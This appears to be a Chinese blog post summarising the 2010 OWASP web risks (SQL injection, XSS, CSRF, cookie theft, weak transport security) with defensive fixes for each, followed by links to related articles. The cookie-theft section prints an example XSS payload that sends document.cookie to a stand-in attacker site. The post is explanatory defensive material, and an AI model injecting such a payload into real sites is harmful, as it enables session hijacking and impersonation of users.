Web中的安全性问题
根据2010年OWASP发布的Web应用程序安全风险主要是SQL注入攻击、跨网站脚本、伪造客户端请求、Cookie盗取,传输层保护不足。
1 SQL注入攻击
随着B/S框架结构在系统开发中的广泛应用,恶意攻击者利用SQL命令在Web表单中输入合法的字符或查询字符串来欺骗服务器执行SQL命令。当注入攻击得逞后,Web程序将泄露大量用户隐私数据和数据库中数据结构。攻击者能够获得系统较高的访问权限,进行破坏操作。
解决方法:
数据库安全通信包括SQL注入攻击的防范、安全设置、异常信息处理三个方面。
1.服务端Filter对访问者输入的字符进行过滤检验,但是攻击者经常把危险字符潜藏在用户输入的有效字符中完成过滤检验。
2.通过正则表达式对页面的文本框输入的数据进行限制可以减少过滤检验存在的漏洞。
3.使用prepareStatment预编译sql语句
2 跨网站脚本
跨网站脚本(简称XSS)是当前恶意破坏者主要选择的攻击手段之一。XSS通过网页开发时留下的安全漏洞,注入恶意的指令代码,影响其他用户对网站的访问,同时获得用户的合法信息。受XSS攻击的网站通常是由JavaScript、ActiveX和普通的HTML设计的。
解决方法:
1.输入过滤。对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能够有效地阻止XSS攻击。
2.输出编码。通过前面对XSS攻击的分析,我们可以看到,之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些HTML的脚本,也会被当成普通的文字,而不会成为目标页面HTML代码的一部分得到执行。
3 伪造客户端请求(Cross-site request forgery)
伪造客户端请求(简称为CSRF)是通过用户浏览器向存在安全漏洞的Web服务器发送带有Cookie信息的请求,来替换文件地址达到自动链接的目的。
解决方法:
1.验证码。几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF的攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作,才能要求输入验证码。不过随着HTML5的发展。利用canvas标签,前端也能识别验证码的字符,让CSRF生效。
2.Token。CSRF能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。
4 Cookie盗取
通过XSS攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的Cookie信息。比如,我们只要注入类似如下的代码:
<script>
location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)
</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
解决方法:
1.我们要尽可能地避免在Cookie中泄露隐私,如用户名、密码等;其次,我们可以将Cookie信息利用MD5等Hash算法进行多次散列后存放
2.为了防止重放攻击,我们也可以将Cookie和IP进行绑定,这样也可以阻止攻击者冒充正常用户的身份。
5 传输层保护不足
当数据在传输层进行网络传输时,由于采用了简单或传统的加密算法,数据保密性和完整性很容易被破坏。攻击者利用密码、密钥、会话令牌等进行非法操作。
解决方法:
1.使用https替换http协议
2.保证SSL的提供商只支持强大的算法,这样就不能够被轻易破解。(使用标准的强算法)
3.确保您的证书是有效的,不过期,不被撤销,并匹配这个网站使用的所有域。
Web中的安全性问题的更多相关文章
- YbSoftwareFactory 代码生成插件【十三】:Web API 的安全性
ASP.NET Web API 可非常方便地创建基于 HTTP 的 Services,这些服务可以非常方便地被几乎任何形式的平台和客户端(如浏览器.Windows客户端.Android设备.IOS等) ...
- 使用ASP.NET Web Api构建基于REST风格的服务实战系列教程【八】——Web Api的安全性
系列导航地址http://www.cnblogs.com/fzrain/p/3490137.html 前言 这一篇文章我们主要来探讨一下Web Api的安全性,到目前为止所有的请求都是走的Http协议 ...
- 企业应用的Web程序的安全性
提起安全性这个话题,大家恐怕依稀还记得Sony的PSP账户信息泄露的事故造成的重大损失.但是又隐隐觉得这事儿离我很远,无需过多考虑.也有的人会想,我们做的是企业内部系统所以不必太在意.但是,Web程序 ...
- Web 应用的安全性
Web 应用的安全性包括用户认证(Authentication)和用户授权(Authorization)两个部分.用户认证指的是验证某个用户是否为系统中的合法主体,也就是说用户能否访问该系统.用户授权 ...
- Web Api的安全性
Web Api的安全性 系列导航地址http://www.cnblogs.com/fzrain/p/3490137.html 前言 这一篇文章我们主要来探讨一下Web Api的安全性,到目前为止所有的 ...
- Web API 的安全性
Web API 的安全性 ASP.NET Web API 可非常方便地创建基于 HTTP 的 Services,这些服务可以非常方便地被几乎任何形式的平台和客户端(如浏览器.Windows客户端.An ...
- web中的请求:get 与 post
web中get与post请求的区别:1. get是把参数数据队列加到提交表单的ACTION属性所指的URL中,值和表单内各个字段一一对应,在URL中可以看到.post是通过HTTP post机制,将表 ...
- DevSecOps 运维模式中的安全性
本文想从技术的角度谈谈我对云计算数据中心 DevSecOps 运维模式中的安全性的理解,和过去几年我在云服务业务连续性管理方面的探索. 现在公有云服务商都不约而同地转向 DevSecOps 模式.De ...
- 解读Web应用程序安全性问题的本质
转自 http://blog.csdn.net/iwebsecurity/article/details/1688304 相信大家都或多或少的听过关于各种Web应用安全漏洞,诸如:跨site脚本攻击( ...
随机推荐
- Hadoop程序基础模板
分布式编程相对复杂,而Hadoop本身蒙上大数据.云计算等各种面纱,让很多初学者望而却步.可事实上,Hadoop是一个很易用的分布式编程框架,经过良好封装屏蔽了很多分布式环境下的复杂问题,因此,对普通 ...
- 大话设计模式之PHP篇 - 适配器模式
定义将一个类的接口转换成客户希望的另外一个接口,使用原本不兼容的而不能在一起工作的那些类可以在一起工作. 角色Target适配目标,该角色定义把其他类转换为何种接口,也就是我们的期望接口.Adapte ...
- Zabbix3.2 客户端安装
查看客户端环境: # cat /etc/redhat-release CentOS Linux release (Core) # uname -r -.el7.x86_64 Centos7 客户端: ...
- Apache Phoenix数据类型
数据类型 Java Map 占用大小 (byte) 范围 INTEGER java.lang.Integer 4 -2147483648 to 2147483647 UNSIGNED_INT java ...
- 关于 Java正则表达式中的Possessive数量修饰词的理解
关于 Java正则表达式中的Possessive数量修饰词的理解 正则表达式对于数量限定符如 ?, + , *, {n, m} 的匹配默认是贪婪模式,比如: a.*b 匹配 acbab 的结果是 ...
- 介绍一下Hibernate的二级缓存
介绍一下Hibernate的二级缓存 按照以下思路来回答:(1)首先说清楚什么是缓存,(2)再说有了hibernate的Session就是一级缓存,即有了一级缓存,为什么还要有二级缓存,(3)最后再说 ...
- myEclipse 2014 破解教程
因为经常在不同电脑里安装配置下载myEclipse,所以干脆记录下来,一直找度娘也是很麻烦的. 此教程仅对myEclipse2014 有效. 破解工具:https://pan.baidu.com/s/ ...
- pandas读取Excel
time31 = pd.read_excel('F:/save_file/3问出车表.xlsx', sheetname='Sheet1') # 读取‘3问出车表.xlsx’中的Sheet1表单, ti ...
- 《Advanced Bash-scripting Guide》学习(九):备份最后一天所有修改的文件
本文所选的例子来自于<Advanced Bash-scripting Gudie>一书,译者 杨春敏 黄毅 Example 3-4. 备份最后一天所有修改的文件 #!/bin/bash # ...
- Python学习之路day3-字符编码与转码
一.基础概念 字符与字节 字符是相对于人类而言的可识别的符号标识,是一种人类语言,如中文.英文.拉丁文甚至甲骨文.梵语等等. 字节是计算机内部识别可用的符号标识(0和1组成的二进制串,机器语言) ...